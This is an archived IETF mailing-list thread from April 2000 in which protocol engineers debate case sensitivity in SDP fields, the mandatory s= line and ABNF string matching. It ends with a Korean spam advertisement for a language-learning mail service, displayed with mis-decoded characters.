	for <confctrl@zephyr.isi.edu>; Sun, 23 Apr 2000 22:14:59 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id WAA13950
	for <confctrl@ISI.EDU>; Sun, 23 Apr 2000 22:15:02 -0700 (PDT)
Received: from jeffa_laptop ([172.23.103.129])
	by prognet.com (8.9.2/8.9.0) with ESMTP id WAA24913;
	Sun, 23 Apr 2000 22:15:36 -0700 (PDT)
Message-Id: <4.2.0.58.20000423220632.03e73810@mail.real.com>
X-Sender: jeffa@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Sun, 23 Apr 2000 22:13:36 -0700
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Henning Schulzrinne <hgs@cs.columbia.edu>
From: Jeff Ayars <jeffa@real.com>
Subject: Re: SDP issues
Cc: confctrl@ISI.EDU, sip@lists.bell-labs.com
In-Reply-To: <390363C2.9BAB847A@dynamicsoft.com>
References: <38FE0135.131B0802@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 04:57 PM 4/23/00 -0400, Jonathan Rosenberg wrote:
>There was another issue raised; SDP says very little overall about case
>sensitivity. The type (m=, s=, etc.) is case sensitive, and the values
>depend on the type. The only types which discuss case sensitivity are:
>
>1. t and r, which indicate that the d,h,m,s (days, hour, minutes,
>seconds) characters are case sensitive.
>2. a=charset:, which uses case insensitive matching for the character
>set.
>
>So, we also agreed that in the spirit of SDP, all other values are CASE
>SENSITIVE unless otherwise noted. This includes the encoding name
>Henning mentions below, which, along with the character set, represent
>the only two case insensitive matches in SDP (I believe).
>
>-Jonathan R.

I'm confused by this last paragraph.  First you say all 'other' values are 
CASE SENSITIVE.  Then you say that encoding name, along with the character 
set represent the only two case insensitive matches.

So are you agreeing that <encoding name> from a=rtpmap and <media> from m= 
should be CASE INSENSITIVE?  Or are you saying that since SDP is silent on 
the case sensitivity of <encoding name> and <media> that they should be 
CASE SENSITIVE?

I agree with Henning's suggestion below that since <media> and <encoding 
name> form a media type and media types are CASE INSENSITIVE, that <media> 
and <encoding name> should also be CASE INSENSITIVE.

Jeff Ayars
Technical Lead
RealNetworks, Inc.


>Henning Schulzrinne wrote:
> >
> > During the SIP bake-off, two SDP-related issues were raised:
> >
> > Currently, s= is defined as text, which is 1*(some set of bytes), i.e.,
> > at least one character. It doesn't seem necessary to enforce that s=
> > have anything in them (like a space). Other textual Internet protocols
> > seem to be fine with having empty unformatted fields (like Subject: in
> > email).
> >
> > Secondly, the rtpmap description does not specify whether the 'encoding
> > name' is case-sensitive or not. Since it's also used as a media type and
> > media types are case-insensitive (RFC 2616, 3.7), it probably makes
> > sense to make them CI in SDP as well.
> >
> > Comments are appreciated.
> >
> > Henning
>
>--
>Jonathan D. Rosenberg                       72 Eagle Rock Ave.
>Chief Scientist                             First Floor
>dynamicsoft                                 East Hanover, NJ 07936
>jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
>http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
>http://www.dynamicsoft.com



From confctrl-owner  Sun Apr 23 23:05:15 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA18136
	for confctrl-outgoing; Sun, 23 Apr 2000 23:05:15 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA18129
	for <confctrl@zephyr.isi.edu>; Sun, 23 Apr 2000 23:05:13 -0700 (PDT)
Received: from hazard.aciri.org (adsl-63-196-11-252.dsl.snfc21.pacbell.net [63.196.11.252])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id XAA16032
	for <confctrl@ISI.EDU>; Sun, 23 Apr 2000 23:05:15 -0700 (PDT)
Received: from hazard.aciri.org (localhost.aciri.org [127.0.0.1])
	by hazard.aciri.org (8.9.3/8.9.3) with ESMTP id XAA33074;
	Sun, 23 Apr 2000 23:05:30 -0700 (PDT)
	(envelope-from mjh@hazard.aciri.org)
From: Mark Handley <mjh@aciri.org>
X-Organisation: ACIRI
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
cc: Henning Schulzrinne <hgs@cs.columbia.edu>, confctrl@ISI.EDU,
        sip@lists.bell-labs.com
Subject: Re: SDP issues 
In-reply-to: Your message of "Sun, 23 Apr 2000 16:57:38 EDT."
             <390363C2.9BAB847A@dynamicsoft.com> 
Date: Sun, 23 Apr 2000 23:05:29 -0700
Message-ID: <33072.956556329@hazard.aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>There was another issue raised; SDP says very little overall about case
>sensitivity. The type (m=, s=, etc.) is case sensitive, and the values
>depend on the type. The only types which discuss case sensitivity are:
>
>1. t and r, which indicate that the d,h,m,s (days, hour, minutes,
>seconds) characters are case sensitive.
>2. a=charset:, which uses case insensitive matching for the character
>set.
>
>So, we also agreed that in the spirit of SDP, all other values are CASE
>SENSITIVE unless otherwise noted. This includes the encoding name
>Henning mentions below, which, along with the character set, represent
>the only two case insensitive matches in SDP (I believe).


RFC 2367 states:

   An SDP session description consists of a number of lines of text of
   the form <type>=<value> <type> is always exactly one character and is
   case-significant.  <value> is a structured text string whose format
   depends on <type>.  It also will be case-significant unless a
   specific field defines otherwise.

The only place where RFC 2367 states that something is case-insentive
is in the case of the charset attribute.

By default, this means that attributes are case-sensitive unless
specified otherwise, and all other fields are case-sensitive.

In the case of the rtpmap attribute, the issue of the meaning of
encoding names is punted to the relevant RTP profile spec.  As far as
SDP is concerned, they're case _sensitive_ by virtue of not specifying
otherwise.  However, the RTP AV profile specifies that the encoding
name is a MIME subtype, and I believe MIME specifies that subtypes are
not case sensitive.  Hence when rtpmap is used with protocol "RTP/AVP"
(and it's not currently specified for any other protocol), then
although the SDP string is case-sensitive to the SDP parser, it makes
sense to treat the encoding name as case-insensitive.  The rest of the
rtpmap attribute would still be case-sensitive.

BTW RFC 2327 also specifies:

   SDP session descriptions are entirely textual using the ISO 10646
   character set in UTF-8 encoding. SDP field names and attributes names
   use only the US-ASCII subset of UTF-8, but textual fields and
   attribute values may use the full ISO 10646 character set.

Thus the rtpmap attribute (with the exception of the attribute name
("rtpmap") itself) is also in ISO 10646 UTF 8.  However, the encoding
name is going to have to be in the US ASCII subset of ISO 10646 UTF 8
to be a valid MIME subtype, although the SDP syntax allows non-ASCII
encoding names.  

The key point is that SDP doesn't specify how to interpret the
encoding-name at all.  The RTP AV profile specifies this, and so adds
additional semantics to the basic SDP syntax.  

Cheers,
	Mark

From confctrl-owner  Sun Apr 23 23:17:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA18860
	for confctrl-outgoing; Sun, 23 Apr 2000 23:17:47 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA18852
	for <confctrl@zephyr.isi.edu>; Sun, 23 Apr 2000 23:17:41 -0700 (PDT)
Received: from redball.dynamicsoft.com ([216.173.40.51])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id XAA16349
	for <confctrl@ISI.EDU>; Sun, 23 Apr 2000 23:17:45 -0700 (PDT)
Received: from dynamicsoft.com (1Cust43.tnt3.freehold.nj.da.uu.net [63.25.172.43])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA08672;
	Mon, 24 Apr 2000 02:19:12 -0400 (EDT)
Message-ID: <3903E962.F1527AA2@dynamicsoft.com>
Date: Mon, 24 Apr 2000 02:27:46 -0400
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Mark Handley <mjh@aciri.org>
CC: Henning Schulzrinne <hgs@cs.columbia.edu>, confctrl@ISI.EDU,
        sip@lists.bell-labs.com
Subject: Re: SDP issues
References: <33072.956556329@hazard.aciri.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Mark Handley wrote:
> 
> >There was another issue raised; SDP says very little overall about case
> >sensitivity. The type (m=, s=, etc.) is case sensitive, and the values
> >depend on the type. The only types which discuss case sensitivity are:
> >
> >1. t and r, which indicate that the d,h,m,s (days, hour, minutes,
> >seconds) characters are case sensitive.
> >2. a=charset:, which uses case insensitive matching for the character
> >set.
> >
> >So, we also agreed that in the spirit of SDP, all other values are CASE
> >SENSITIVE unless otherwise noted. This includes the encoding name
> >Henning mentions below, which, along with the character set, represent
> >the only two case insensitive matches in SDP (I believe).
> 
> RFC 2367 states:
> 
>    An SDP session description consists of a number of lines of text of
>    the form <type>=<value> <type> is always exactly one character and is
>    case-significant.  <value> is a structured text string whose format
>    depends on <type>.  It also will be case-significant unless a
>    specific field defines otherwise.

Duh. Of all the sentences in the spec I miss, somehow its this one. My
apologies. I'm glad at least the recommended clarification we made fits
with whats actually in the spec :)

-Jonathan R.

-- 
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Mon Apr 24 08:39:53 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA10556
	for confctrl-outgoing; Mon, 24 Apr 2000 08:39:53 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA10550
	for <confctrl@zephyr.isi.edu>; Mon, 24 Apr 2000 08:39:49 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA04137
	for <confctrl@ISI.EDU>; Mon, 24 Apr 2000 08:39:53 -0700 (PDT)
Received: from chsharp-tecra.cisco.com (chsharp-isdn.cisco.com [171.68.116.221]) by mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id IAA29864; Mon, 24 Apr 2000 08:39:08 -0700 (PDT)
Message-Id: <4.3.1.2.20000424110320.00c2e880@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Mon, 24 Apr 2000 11:16:11 -0400
To: Mark Handley <mjh@aciri.org>, Jonathan Rosenberg <jdrosen@dynamicsoft.com>
From: Chip Sharp <chsharp@cisco.com>
Subject: Re: SDP issues 
Cc: Henning Schulzrinne <hgs@cs.columbia.edu>, confctrl@ISI.EDU,
        sip@lists.bell-labs.com
In-Reply-To: <33072.956556329@hazard.aciri.org>
References: <Your message of "Sun, 23 Apr 2000 16:57:38 EDT." <390363C2.9BAB847A@dynamicsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks for the clarification.

When moving to Draft,  the ABNF should be made consistent with the main 
text in regards to case-sensitivity.

RFC2234 (ABNF) states:
"NOTE:     ABNF strings are case-insensitive and
            the character set for these strings is us-ascii."

An example of the change needed in the ABNF is:
      attribute-fields =    *("a=" attribute CRLF)
should be:
      attribute-fields =    *(%x61 attribute CRLF)

Chip

At 11:05 PM 4/23/00 -0700, Mark Handley wrote:

> >There was another issue raised; SDP says very little overall about case
> >sensitivity. The type (m=, s=, etc.) is case sensitive, and the values
> >depend on the type. The only types which discuss case sensitivity are:
> >
> >1. t and r, which indicate that the d,h,m,s (days, hour, minutes,
> >seconds) characters are case sensitive.
> >2. a=charset:, which uses case insensitive matching for the character
> >set.
> >
> >So, we also agreed that in the spirit of SDP, all other values are CASE
> >SENSITIVE unless otherwise noted. This includes the encoding name
> >Henning mentions below, which, along with the character set, represent
> >the only two case insensitive matches in SDP (I believe).
>
>
>RFC 2367 states:
>
>    An SDP session description consists of a number of lines of text of
>    the form <type>=<value> <type> is always exactly one character and is
>    case-significant.  <value> is a structured text string whose format
>    depends on <type>.  It also will be case-significant unless a
>    specific field defines otherwise.
>
>The only place where RFC 2367 states that something is case-insentive
>is in the case of the charset attribute.
>
>By default, this means that attributes are case-sensitive unless
>specified otherwise, and all other fields are case-sensitive.
>
>In the case of the rtpmap attribute, the issue of the meaning of
>encoding names is punted to the relevant RTP profile spec.  As far as
>SDP is concerned, they're case _sensitive_ by virtue of not specifying
>otherwise.  However, the RTP AV profile specifies that the encoding
>name is a MIME subtype, and I believe MIME specifies that subtypes are
>not case sensitive.  Hence when rtpmap is used with protocol "RTP/AVP"
>(and it's not currently specified for any other protocol), then
>although the SDP string is case-sensitive to the SDP parser, it makes
>sense to treat the encoding name as case-insensitive.  The rest of the
>rtpmap attribute would still be case-sensitive.
>
>BTW RFC 2327 also specifies:
>
>    SDP session descriptions are entirely textual using the ISO 10646
>    character set in UTF-8 encoding. SDP field names and attributes names
>    use only the US-ASCII subset of UTF-8, but textual fields and
>    attribute values may use the full ISO 10646 character set.
>
>Thus the rtpmap attribute (with the exception of the attribute name
>("rtpmap") itself) is also in ISO 10646 UTF 8.  However, the encoding
>name is going to have to be in the US ASCII subset of ISO 10646 UTF 8
>to be a valid MIME subtype, although the SDP syntax allows non-ASCII
>encoding names.
>
>The key point is that SDP doesn't specify how to interpret the
>encoding-name at all.  The RTP AV profile specifies this, and so adds
>additional semantics to the basic SDP syntax.
>
>Cheers,
>      Mark


-------------------------------------------------------------------
Chip Sharp                 CTO Consulting Engineering
Cisco Systems
Reality - Love it or Leave it.	
http://www.netaid.org		
-------------------------------------------------------------------


From confctrl-owner  Mon Apr 24 08:55:21 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA11680
	for confctrl-outgoing; Mon, 24 Apr 2000 08:55:21 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA11675
	for <confctrl@zephyr.isi.edu>; Mon, 24 Apr 2000 08:55:20 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA04747
	for <confctrl@ISI.EDU>; Mon, 24 Apr 2000 08:55:24 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA26391;
	Mon, 24 Apr 2000 11:55:38 -0400 (EDT)
Message-ID: <39046E7A.4B89B440@cs.columbia.edu>
Date: Mon, 24 Apr 2000 11:55:38 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Chip Sharp <chsharp@cisco.com>
CC: Mark Handley <mjh@aciri.org>, Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        confctrl@ISI.EDU, sip@lists.bell-labs.com
Subject: Re: [SIP] Re: SDP issues
References: <Your message of "Sun, 23 Apr 2000 16:57:38 EDT." <390363C2.9BAB847A@dynamicsoft.com> <4.3.1.2.20000424110320.00c2e880@dogwood.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Chip Sharp wrote:
> 
> Thanks for the clarification.
> 
> When moving to Draft,  the ABNF should be made consistent with the main
> text in regards to case-sensitivity.
> 
> RFC2234 (ABNF) states:
> "NOTE:     ABNF strings are case-insensitive and
>             the character set for these strings is us-ascii."
> 
> An example of the change needed in the ABNF is:
>       attribute-fields =    *("a=" attribute CRLF)
> should be:
>       attribute-fields =    *(%x61 attribute CRLF)

Are you sure that applies to the protocol specified by the grammar or
just to the tokens within the ABNF, so that "CRLF" and "crlf" are
equivalent?
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Apr 24 09:39:57 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA15900
	for confctrl-outgoing; Mon, 24 Apr 2000 09:39:57 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA15890
	for <confctrl@zephyr.isi.edu>; Mon, 24 Apr 2000 09:39:55 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id JAA07516
	for <confctrl@ISI.EDU>; Mon, 24 Apr 2000 09:39:59 -0700 (PDT)
Received: from chsharp-tecra.cisco.com (chsharp-isdn.cisco.com [171.68.116.221]) by mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id JAA25649; Mon, 24 Apr 2000 09:39:14 -0700 (PDT)
Message-Id: <4.3.1.2.20000424122411.00b109a0@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Mon, 24 Apr 2000 12:29:43 -0400
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
From: Chip Sharp <chsharp@cisco.com>
Subject: Re: [SIP] Re: SDP issues
Cc: Mark Handley <mjh@aciri.org>, Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        confctrl@ISI.EDU, sip@lists.bell-labs.com
In-Reply-To: <39046E7A.4B89B440@cs.columbia.edu>
References: <Your message of "Sun, 23 Apr 2000 16:57:38 EDT." <390363C2.9BAB847A@dynamicsoft.com>
 <4.3.1.2.20000424110320.00c2e880@dogwood.cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 11:55 AM 4/24/00 -0400, Henning Schulzrinne wrote:
>Chip Sharp wrote:
> >
> > Thanks for the clarification.
> >
> > When moving to Draft,  the ABNF should be made consistent with the main
> > text in regards to case-sensitivity.
> >
> > RFC2234 (ABNF) states:
> > "NOTE:     ABNF strings are case-insensitive and
> >             the character set for these strings is us-ascii."
> >
> > An example of the change needed in the ABNF is:
> >       attribute-fields =    *("a=" attribute CRLF)
> > should be:
> >       attribute-fields =    *(%x61 attribute CRLF)
>
>Are you sure that applies to the protocol specified by the grammar or
>just to the tokens within the ABNF, so that "CRLF" and "crlf" are
>equivalent?

These days, I'm not "sure" of much of anything. :-)

I don't believe RFC2234 is very clear on this issue either.
However, if you look at page 5 under "Concatenation" there is this example:

----begin quote----
    A rule can define a simple, ordered string of values -- i.e., a
    concatenation of contiguous characters -- by listing a sequence of
    rule names.  For example:

         foo         =  %x61           ; a

         bar         =  %x62           ; b

         mumble      =  foo bar foo

         So that the rule <mumble> matches the lowercase string "aba".
----end quote----

>--
>Henning Schulzrinne   http://www.cs.columbia.edu/~hgs


-------------------------------------------------------------------
Chip Sharp                 CTO Consulting Engineering
Cisco Systems
Reality - Love it or Leave it.	
http://www.netaid.org		
-------------------------------------------------------------------


From confctrl-owner  Mon Apr 24 10:44:01 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA21538
	for confctrl-outgoing; Mon, 24 Apr 2000 10:44:01 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA21531
	for <confctrl@zephyr.isi.edu>; Mon, 24 Apr 2000 10:43:58 -0700 (PDT)
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124])
	by venera.isi.edu (8.9.3/8.9.3) with SMTP id KAA11086
	for <confctrl@ISI.EDU>; Mon, 24 Apr 2000 10:43:55 -0700 (PDT)
Received: from 157.54.9.104 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 24 Apr 2000 10:43:37 -0700 (Pacific Daylight Time)
Received: by INET-IMC-02 with Internet Mail Service (5.5.2651.58)
	id <J2VX187W>; Mon, 24 Apr 2000 10:43:37 -0700
Message-ID: <BB61526CDE70D2119D0F00805FBECA2F1696725A@RED-MSG-55>
From: Christian Huitema <huitema@microsoft.com>
To: "'Mark Handley'" <mjh@aciri.org>
Cc: Jeff Ayars <jeffa@real.com>, confctrl@ISI.EDU, sip@lists.bell-labs.com
Subject: RE: [SIP] Re: SDP issues
Date: Mon, 24 Apr 2000 10:43:34 -0700
X-Mailer: Internet Mail Service (5.5.2651.58)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Whatever you might wish the SDP spec would say, it's fairly clear on
> this issue: if there's no s= line, you should treat the SDP as
> corrupted and act accordingly.  If you send SDP without the s= line,
> you are definitely not compliant with RFC 2327 and shouldn't expect
> your message to be accepted.

What we are seeing here is a conflict between SAP and SIP. SDP was
originally designed for the multicast session directory programs (sd, sdr)
that use a session id to correlate advertizements from multiple possible
announcers. If you do that, then you need a very complete and autonomous
session description, including session-id and timing parameters.

SDP is then used in SIP (and also MGCP and Megaco) as a way to describe and
negotiate the characteristics of a "private session." If the beginning and
end of the sessions are bracketed by the INVITE and BYE requests, if the
sessions are identified by a SIP "Call-id," then the SDP level session
identifiers and timing indicators are somewhat redundant.

What we probably need is a profile of some sort, that qualifies what is
mandatory and when. For example, I believe that a fully formed "s=" field
MUST be present when announcements of multicast sessions are multicast in
SAP. The same requirement would logically apply when invitations to the same
sessions are sent via SIP. But the requirement is not all that logical for
invitations to ephemeral point to point sessions -- the robustness principle
would dictate that inviters SHOULD fill up a session field, but that
invitees should not reject invitations to point to point sessions when the
"s=" field is absent.

From confctrl-owner  Mon Apr 24 12:38:36 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA29161
	for confctrl-outgoing; Mon, 24 Apr 2000 12:38:36 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA29147
	for <confctrl@zephyr.isi.edu>; Mon, 24 Apr 2000 12:38:32 -0700 (PDT)
Received: from mailout2.hananet.net ([210.220.163.35])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id MAA17267
	for <confctrl@isi.edu>; Mon, 24 Apr 2000 12:38:35 -0700 (PDT)
Received: from thrunet.thrunet.com ([211.44.129.33]) by
          mailout2.hananet.net (Netscape Messaging Server 4.15) with SMTP
          id FTJD4D00.53M for <confctrl@isi.edu>; Tue, 25 Apr 2000 04:36:13 +0900 
From: ÀÌÇö¿ì<olk@olk.co.kr>
To: confctrl@ISI.EDU
Subject: ¿µ¾î,ÀÏ¾î »ýȰȸȭ ¹«·á mailing service ¾È³»!!
Date: Tue, 25 Apr 00 04:34:39 ŸÀ̺£ÀÌ Ç¥ÁؽÃ
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=AD_2000_PART_BOUNDARY_19990606
Message-ID: <FTJD4D00.53M@mailout2.hananet.net>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

--AD_2000_PART_BOUNDARY_19990606
Content-Type: text/plain
Content-Transfer-Encoding: 7Bit

¢Î ¸ÅÀÏ ¹Þ¾Æº¸½Ç ¿µ¾î,ÀÏ¾î »ýȰȸȭ ¿¹¹®. ¢º¢º¢º¢º ¹«·á ¼­ºñ½º
¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬
¢Ï ¿À´ÃÀÇ À¯¿ì¸Ó¢º 2000.04.25(È­) ¡ì¦¡  ÁÖ 2 ȸ ¹ß¼Û(È­,¸ñ) ¹ß¼Û.

  "Dad, I don't want to go to school today." said the boy.
  "Why not, son?"
  "Well, one of the chickens on the school farm died last week and 
   we had chicken soup for lunch the next day. And three days ago 
   one of the pigs died and we had roast pork the next day,,,."
  "But why don't you want to go today?"
  "Because the English teacher died yesterday!"
  "....."

  "¾Æºü, ³ª ¿À´Ã Çб³ °¡±â ½È¾î." ÇÏ°í ¼Ò³âÀÌ ¸»Çß´Ù.
  "¿Ö °¡±â ½ÈÁö?"
  "Áö³­ÁÖ¿¡ Çб³ ³óÀå¿¡¼­ ´ß ÇÑ ¸¶¸®°¡ Á×¾ú´Âµ¥ ´ÙÀ½³¯ Á¡½ÉÀ¸·Î ´ß 
   ¼öÇÁ¸¦ ¸Ô¾ú¾î. ±×¸®°í 3ÀÏ Àü¿¡´Â µÅÁö ÇÑ ¸¶¸®°¡ Á×¾ú´Âµ¥ ±× ´ÙÀ½
   ³¯¿¡´Â µÅÁö ºÒ°í±â¸¦ ¸Ô¾ú°í,,,."
  "±×·±µ¥ ¿Ö ¿À´ÃÀº Çб³¿¡ °¡±â ½È¾î?"
  "¾îÁ¦ ¿µ¾î ¼±»ý´ÔÀÌ µ¹¾Æ°¡¼Ì´Ü ¸»¾ß!"
  "....."

¢Ï ¿À´ÃÀÇ ÇѸ¶µð ¢º ¿µ¾î(2000.04.25(È­))   

¢ÃI felt on top of the world  ¡ì¦¡¦¡¦¡¦¡¦¡  ¸ÅÀÏ(¿ù-±Ý) ¹ß¼Û.
               
»ç¶÷Àº ´©±¸³ª ¼º°øÇÏ¸é ±âºÐÀÌ ÁÁÀº °ÍÀº ´ç¿¬ÇÏÁö¿ä. 
¹°·Ð, ¾î¶² »ç¶÷µéÀº ¼º°øÇßÀ» ¶§¿¡ ´õ °â¼ÕÇØÁöÁö¸¸ ´ëºÎºÐÀÇ »ç¶÷µéÀº 
[³ª¸¦ º¸¶ó! ³»°¡ ÃÖ°í¾ß]¶ó°í »ý°¢ÇÕ´Ï´Ù. 
ÀÌ¿Í °°Àº ±âºÐÀ» ³ªÅ¸³»´Â Ç¥ÇöÀÌ 'on top of the world'¶ø´Ï´Ù.

  on top of the world¸¦ Á÷¿ªÇϸé [¼¼»ó ²À´ë±â¿¡]¶ó´Â ÀǹÌÀ̸ç 
  I felt on top of the world. ´Â (¼¼»ó ²À´ë±â¿¡ ÀÖ´Â ´À³¦À̾ú´Ù.)
  Áï, (±²ÀåÈ÷ ±âºÐÀÌ ÁÁ¾Ò´Ù)¸¦ ¶æÇÕ´Ï´Ù.
  ÈçÈ÷ (±âºÐÀÌ ÁÁ¾Ò¾î)¶ó´Â Àǹ̷ΠI felt good. ¸¸À» »ý°¢Çϱ⠽¬¿ì³ª 
  ÀÌ Ç¥Çöµµ ¾Ë°í ÀÖÀ¸¸é °¨Á¤ÀÇ Ç¥ÇöÀ» ´õ Àß ÇÒ ¼ö ÀÖÀ» °Å¿¡¿ä.

¢Á on top of the world´Â ¼¼»ó ²À´ë±â¿¡ ÀÖ´Â ´À³¦. 
   ±×·¸´Ù¸é out of this world ´Â? 
   ÀÌ ¼¼»óÀÇ ÀÏ°°Áö ¾Ê°Ô wonderful[±Ù»çÇÑ], 
   fantastic[ȯ»óÀûÀÎ]À̶õ ¶æÀÌ¿¡¿ä.

A: I heard you were engaged to Marian.

B: Actually, I was.

A: Oh, really? So, how did you feel on the night of your engagement?

B: I felt like I was on top of the world.

A: ¸Þ¸®¾È°ú ¾àÈ¥ÇÑ´Ù°í µé¾ú´Âµ¥.
B: »ç½Ç ÀÌ¹Ì Çß¾î.
A: ¾î, Á¤¸»À̾ß?  ±×·¡,¾àÈ¥½ÄÇÑ ±×³¯ ¹ã¿¡ ±âºÐÀÌ ¾î¶®¾î?
B: ¼¼»óÀ» ¾òÀº ±âºÐÀ̾úÁö.

¢Ï ¿À´ÃÀÇ ÇѸ¶µð ¢º ÀϾî(2000.04.25(È­))¡ì¦¡ÁÖ 3 ȸ ¹ß¼Û(¿ù,¼ö,±Ý) ¹ß¼Û.

 ÀÏ¾î ¿¹¹®µµ ¿µ¾î¿Í °°Àº ÇüÅ·Π±¸¼º µÇ¾î ÀÖ½À´Ï´Ù.
-----------------------------------------------------------------------
=======================================================================
¾È³çÇϼ¼¿ä? 

ÀúÈñ´Â ÀüÈ­¸¦ ÀÌ¿ëÇؼ­ °­»ç¿Í 1:1·Î ¿Ü±¹¾î ÇнÀÀ» ÇÒ ¼ö ÀÖ´Â 
¢Ä Online korea ¢Å¶ó°í ÇÕ´Ï´Ù.

Çã¶ô¾øÀÌ ÆíÁö µå·Á Á˼ÛÇÕ´Ï´Ù. ºÎµð ³Ê±×·¯¿î ¿ë¼­¸¦......

ÀúÈñ ȸ»ç¿¡¼­´Â »ýÈ° ȸȭ¿¡ °ü½ÉÀÖ´Â ³×ƼÁð ¿©·¯ºÐ¿¡°Ô
¸ÅÀÏ(¿ù-±Ý), ½Ç »ýÈ°¿¡ ÇÊ¿äÇÑ »ýȰȸȭ ÇÑ ¹®À徿À» 
¹«·á·Î º¸³» µå¸®°í ÀÖ¾î¿ä.

¼­ºñ½º ³»¿ëÀº ¾Æ·¡¿Í °°ÀÌ ±¸¼º µÇ¿À´Ï ¹Þ¾Æº¸±æ ¿øÇϽô ºÐÀº 
